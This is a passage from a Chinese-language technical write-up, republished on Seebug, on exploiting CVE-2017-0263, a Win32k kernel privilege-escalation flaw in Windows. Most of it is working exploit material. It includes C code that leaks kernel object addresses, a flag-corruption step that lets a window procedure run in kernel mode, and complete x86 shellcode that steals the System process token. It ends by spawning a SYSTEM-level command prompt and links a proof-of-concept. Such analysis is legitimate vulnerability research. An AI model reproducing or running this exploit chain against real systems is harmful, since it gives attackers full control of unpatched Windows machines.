目標函數查找到之后,在利用代碼中需要獲取窗口對象等類型用戶對象的地址的時機調用該函數并傳入對象句柄,調用成功時則返回目標對象在用戶進程桌面堆中的映射地址。

#define TYPE_WINDOW 1
PVOID
xxHMValidateHandleEx(HWND hwnd)
{
    return pfnHMValidateHandle((HANDLE)hwnd, TYPE_WINDOW);
}

獲取目標窗口對象在桌面堆中的映射地址的利用代碼

窗口對象的頭部結構是一個 THRDESKHEAD 成員結構體對象,其中存在子成員域 pSelf 指向所屬窗口對象的內核首地址。


內核模式代碼執行

成員標志位 bServerSideWindowProc 位于 tagWND 對象標志成員域的第 18 比特位,其之前的兩個標志位是 bDialogWindowbHasCreatestructName 標志位:

kd> dt win32k!tagWND
   +0x000 head             : _THRDESKHEAD
   +0x014 state            : Uint4B
   [...]
   +0x014 bDialogWindow    : Pos 16, 1 Bit
   +0x014 bHasCreatestructName : Pos 17, 1 Bit
   +0x014 bServerSideWindowProc : Pos 18, 1 Bit

標志位 bDialogWindow 的位置是 bServerSideWindowProc 所在字節的起始比特位。通過研究發現,在創建普通窗口對象時,如果樣式參數 dwStyle 和擴展樣式參數 dwExStyle 都傳值為 0 默認值,那么在內核中成員域 bDialogWindowbHasCreatestructName 都將未被置位。因此可以借助這個特性,實現對目標關鍵標志位的置位。

在利用代碼中填充載體窗口對象的擴展區域內存期間,增加通過內核地址泄露技術獲取窗口對象成員域 bDialogWindow 的地址的調用:

pvAddrFlags = *(PBYTE *)((PBYTE)xxHMValidateHandle(hWindowHunt) + 0x10) + 0x16;

接著將先前初始化的結構體 SHELLCODE 對象的成員域 pfnWindProc 起始地址設置為載體窗口對象 hWindowHunt 的消息處理函數:

SetWindowLongW(hWindowHunt, GWL_WNDPROC, (LONG)pvShellCode->pfnWindProc);

在利用代碼的自定義陰影窗口消息處理函數 xxxShadowWindowProc 中初始化 MENUNAME 字段緩沖區數值時,將成員標志位 bDialogWindow 的地址減 4 字節偏移的地址作為偽造 tagPOPUPMENU 對象的某個窗口對象指針成員域(例如 spwndPrevPopup 成員域)的數值,使前面提到的三個標志位正好位于該指針成員域指向的“窗口對象”的鎖計數成員域 cLockObj 的最低 3 比特位:

dwPopupFake[0x4] = (DWORD)pvAddrFlags - 4; //->spwndPrevPopup

在函數 xxxMNEndMenuState 執行期間,系統為根彈出菜單對象的成員域 spwndPrevPopup 調用函數 HMAssignmentUnlock 以解除對目標窗口對象的賦值鎖時,將直接對以成員標志位 bDialogWindow 地址起始的 32 位數值自減,這將使成員標志位 bServerSideWindowProc 被置位。

通過自減指令使目標比特位被置位

由于成員標志位 bServerSideWindowProc 置位,載體窗口對象將獲得在內核上下文直接執行窗口對象消息處理函數的能力。


ShellCode

ShellCode 函數代碼將作為載體窗口對象的自定義消息處理函數在內核上下文直接執行。在構造 ShellCode 函數代碼之前,首先對所需的數據進行初始化和賦值。

根據前面構造的利用代碼,我們已實現漏洞觸發后在函數 xxxMNEndMenuState 第二次執行期間不引發系統異常而成功執行,但第二次釋放的根彈出菜單對象實際上是批量創建的普通窗口對象中某個窗口對象所屬窗口類 tagCLS 對象的成員域 lpszMenuName 指向的緩沖區。這將導致在進程退出時銷毀用戶對象期間,系統在內核中釋放目標窗口類對象成員域 lpszMenuName 時引發重復釋放的異常,因此需要在 ShellCode 代碼中將目標窗口類對象的成員域 lpszMenuName 置空。

在利用代碼批量創建普通窗口對象期間,增加獲取每個窗口對象的成員域 pcls 指向地址的語句,并將獲取到的各個 pcls 指向地址存儲在結構體 SHELLCODE 對象的成員數組 tagCLS[] 中。

static constexpr UINT num_offset_WND_pcls = 0x64;
for (INT i = 0; i < iWindowCount; i++)
{
    pvShellCode->tagCLS[i] = *(PVOID *)((PBYTE)xxHMValidateHandle(hWindowList[i]) + num_offset_WND_pcls);
}

獲取 tagCLS 地址并存儲在結構體 SHELLCODE 對象的利用代碼

查找需置空成員域 lpszMenuName 的目標窗口類對象需要通過與根彈出菜單對象的內核地址進行匹配,因此需要利用代碼在用戶進程中獲取根彈出菜單對象的內核地址。這可以在事件通知處理函數 xxWindowEventProc 中實現:

VOID CALLBACK
xxWindowEventProc(
    HWINEVENTHOOK hWinEventHook,
    DWORD         event,
    HWND          hwnd,
    LONG          idObject,
    LONG          idChild,
    DWORD         idEventThread,
    DWORD         dwmsEventTime
)
{
    if (iMenuCreated == 0)
    {
        popupMenuRoot = *(DWORD *)((PBYTE)xxHMValidateHandle(hwnd) + 0xb0);
    }
    if (++iMenuCreated >= 2)
    {
        SendMessageW(hwnd, MN_ENDMENU, 0, 0);
    }
    else
    {
        SendMessageW(hwnd, WM_LBUTTONDOWN, 1, 0x00020002);
    }
}

在函數 xxWindowEventProc 中增加獲取根彈出菜單對象地址的利用代碼

在利用代碼開始的位置初始化結構體 SHELLCODE 對象緩沖區時,拷貝利用函數 xxPayloadWindProc 的代碼到 SHELLCODE 對象緩沖區中。接下來實現對 xxPayloadWindProc 函數代碼的構造。該函數的代碼將作為載體窗口對象的內核模式消息處理函數在內核上下文中執行。與在用戶上下文中執行的窗口對象消息處理函數稍有不同的是,內核模式窗口對象消息處理函數的第 1 個參數是指向目標窗口 tagWND 對象的指針,其余參數都相同。

為了精確識別觸發提權的操作,在代碼中定義 0x9F9F 為觸發提權的消息。在 ShellCode 函數代碼中,我們首先判斷傳入的消息參數是否是我們自定義的提權消息:

push    ebp
mov     ebp,esp
mov     eax,dword ptr [ebp+0Ch]
cmp     eax,9F9Fh
jne     LocFAILED

在 32 位的 Windows 操作系統中,用戶上下文代碼段寄存器 CS 值為 0x1B,借助這個特性,在 ShellCode 函數代碼中判斷當前執行上下文是否在用戶模式下,如是則返回失敗。

mov     ax,cs
cmp     ax,1Bh
je      LocFAILED

恢復載體窗口對象的成員標志位為初始值。與之前修改標志位時的自減相對地,使成員標志位 bDialogWindow 地址起始的 32 位數據直接自增,這樣一來,成員標志位 bServerSideWindowProc 等被修改的標志位將恢復到修改之前的狀態。

cld
mov     ecx,dword ptr [ebp+8]
inc     dword ptr [ecx+16h]

首先備份當前所有通用寄存器的數值在棧上,接下來通過 CALL-POP 技術獲取當前 EIP 執行指令的地址,并根據相對偏移計算出存儲在 ShellCode 函數代碼前面位置的結構體 SHELLCODE 對象的首地址:

pushad
call    $+5
pop     edx
sub     edx,443h

遍歷結構體 SHELLCODE 對象存儲的 tagCLS 數組并與通過參數 wParam 傳入的根彈出菜單對象的內核地址進行匹配,并將匹配到的 tagCLS 對象的成員域 lpszMenuName 置空。

mov     ebx,100h
lea     esi,[edx+18h]
mov     edi,dword ptr [ebp+10h]

LocForCLS:
test    ebx,ebx
je      LocGetEPROCESS
lods    dword ptr [esi]
dec     ebx
cmp     eax,0
je      LocForCLS
add     eax,dword ptr [edx+8]
cmp     dword ptr [eax],edi
jne     LocForCLS
and     dword ptr [eax],0
jmp     LocForCLS

接下來獲取載體窗口對象頭部結構中存儲的線程信息 tagTHREADINFO 對象指針,并繼續獲取線程信息對象中存儲的進程信息 tagPROCESSINFO 對象指針,并獲取對應進程的進程體 EPROCESS 對象指針。各個成員域的偏移在結構體 SHELLCODE 對象中存儲。

LocGetEPROCESS:
mov     ecx,dword ptr [ecx+8]
mov     ebx,dword ptr [edx+0Ch]
mov     ecx,dword ptr [ebx+ecx]
mov     ecx,dword ptr [ecx]
mov     ebx,dword ptr [edx+10h]
mov     eax,dword ptr [edx+4]

接下來根據進程體 EPROCESS 對象的成員域 ActiveProcessLinks 雙向鏈表和成員域 UniqueProcessId 進程標識符找到當前進程的 EPROCESS 地址。由于 UniqueProcessId 是成員域 ActiveProcessLinks 的前一個成員域,因此直接使用 SHELLCODE 對象中存儲的 ActiveProcessLinks 偏移值來定位 UniqueProcessId 的位置。

push    ecx

LocForCurrentPROCESS:
cmp     dword ptr [ebx+ecx-4],eax
je      LocFoundCURRENT
mov     ecx,dword ptr [ebx+ecx]
sub     ecx,ebx
jmp     LocForCurrentPROCESS

LocFoundCURRENT:
mov     edi,ecx
pop     ecx

緊接著繼續遍歷進程體 EPROCESS 對象鏈表,以找到 System 進程的進程體對象地址。

LocForSystemPROCESS:
cmp     dword ptr [ebx+ecx-4],4
je      LocFoundSYSTEM
mov     ecx,dword ptr [ebx+ecx]
sub     ecx,ebx
jmp     LocForSystemPROCESS

LocFoundSYSTEM:
mov     esi,ecx

執行到這一步已定位到當前進程和 System 進程的進程體對象地址,接下來就使用 System 進程的成員域 Token 指針替換當前進程的 Token 指針。

mov     eax,dword ptr [edx+14h]
add     esi,eax
add     edi,eax
lods    dword ptr [esi]
stos    dword ptr es:[edi]

此時當前進程已擁有 System 進程的 Token 指針,額外增加的引用需要手動為目標 Token 對象增加對象引用計數。在 NT 執行體模塊中大多數內核對象都是以 OBJECT_HEADER 結構體作為頭部結構:

kd> dt nt!_OBJECT_HEADER
   +0x000 PointerCount     : Int4B
   +0x004 HandleCount      : Int4B
   [...]
   +0x014 SecurityDescriptor : Ptr32 Void
   +0x018 Body             : _QUAD

該結構位于內核對象地址前面的位置,內核對象起始于 OBJECT_HEADER 結構體的 Body 成員域。手動增加指針引用需要對成員域 PointerCount 進行自增。

and     eax,0FFFFFFF8h
add     dword ptr [eax-18h],2

接下來大功告成,恢復前面備份的通用寄存器的數值到寄存器中,并賦值返回值為 0x9F9F 作為向調用者的反饋信息。

popad
mov     eax,9F9Fh
jmp     LocRETURN

LocFAILED:
mov     eax,1

LocRETURN:
leave
ret     10h

至此 ShellCode 函數代碼已編寫完成。


觸發提權

萬事俱備,只欠東風。接下來在利用代碼的自定義陰影窗口消息處理函數 xxShadowWindowProc 中調用系統服務 NtUserMNDragLeave 之后的位置增加對載體窗口對象發送自定義提權消息 0x9F9F 的調用語句,并將返回值的判斷結果存儲在全局變量 bDoneExploit 中。

LRESULT Triggered = SendMessageW(hWindowHunt, 0x9F9F, popupMenuRoot, 0);
bDoneExploit = Triggered == 0x9F9F;

在函數 xxShadowWindowProc 中增加發送提權消息的利用代碼

這樣一來,在執行系統服務 NtUserMNDragLeave 以置位載體窗口對象的成員標志位 bServerSideWindowProc 之后,函數發送 0x9F9F 消息并將根彈出菜單對象的內核地址作為 wParam 參數傳入,執行流將在內核上下文中直接調用載體窗口對象的自定義消息處理函數,執行到由用戶進程定義的 ShellCode 代碼中,實現內核提權和相關內核用戶對象成員域的修復。

通過主線程監聽全局變量 bDoneExploit 是否被賦值;如成功賦值則創建新的命令提示符進程。

啟動的命令提示符進程已屬于 System 用戶身份

可以觀測到新啟動的命令提示符已屬于 System 用戶身份。


后記

在本分析中構造驗證代碼和利用代碼時,處理邏輯與原攻擊樣本的代碼稍有差異。例如,攻擊樣本為了保證成功率,在代碼中增加了暫時掛起全部線程的操作,還將菜單和子菜單的個數設定為 3 個,還有重試機制等。在本分析中為了實現最簡驗證和利用代碼,對這些不必要的因素進行了省略。

0x5 鏈接

本分析的英文版本:https://xiaodaozhi.com/exploit/117.html

本分析的 POC 下載

https://github.com/leeqwind/HolicPOC/blob/master/windows/win32k/CVE-2017-0263/x86.cpp

Kernel Attacks through User-Mode Callbacks

http://media.blackhat.com/bh-us-11/Mandt/BH_US_11_Mandt_win32k_WP.pdf

從 Dump 到 POC 系列一: Win32k 內核提權漏洞分析

http://blogs.#/blog/dump-to-poc-to-win32k-kernel-privilege-escalation-vulnerability/

TrackPopupMenuEx function (Windows)

https://msdn.microsoft.com/en-us/library/windows/desktop/ms648003(v=vs.85).aspx

sam-b/windows_kernel_address_leaks

https://github.com/sam-b/windows_kernel_address_leaks

Sednit adds two zero-day exploits using 'Trump's attack on Syria' as a decoy

https://www.welivesecurity.com/2017/05/09/sednit-adds-two-zero-day-exploits-using-trumps-attack-syria-decoy/

EPS Processing Zero-Days Exploited by Multiple Threat Actors

https://www.fireeye.com/blog/threat-research/2017/05/eps-processing-zero-days.html


本文經安全客授權發布,轉載請聯系安全客平臺。


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/588/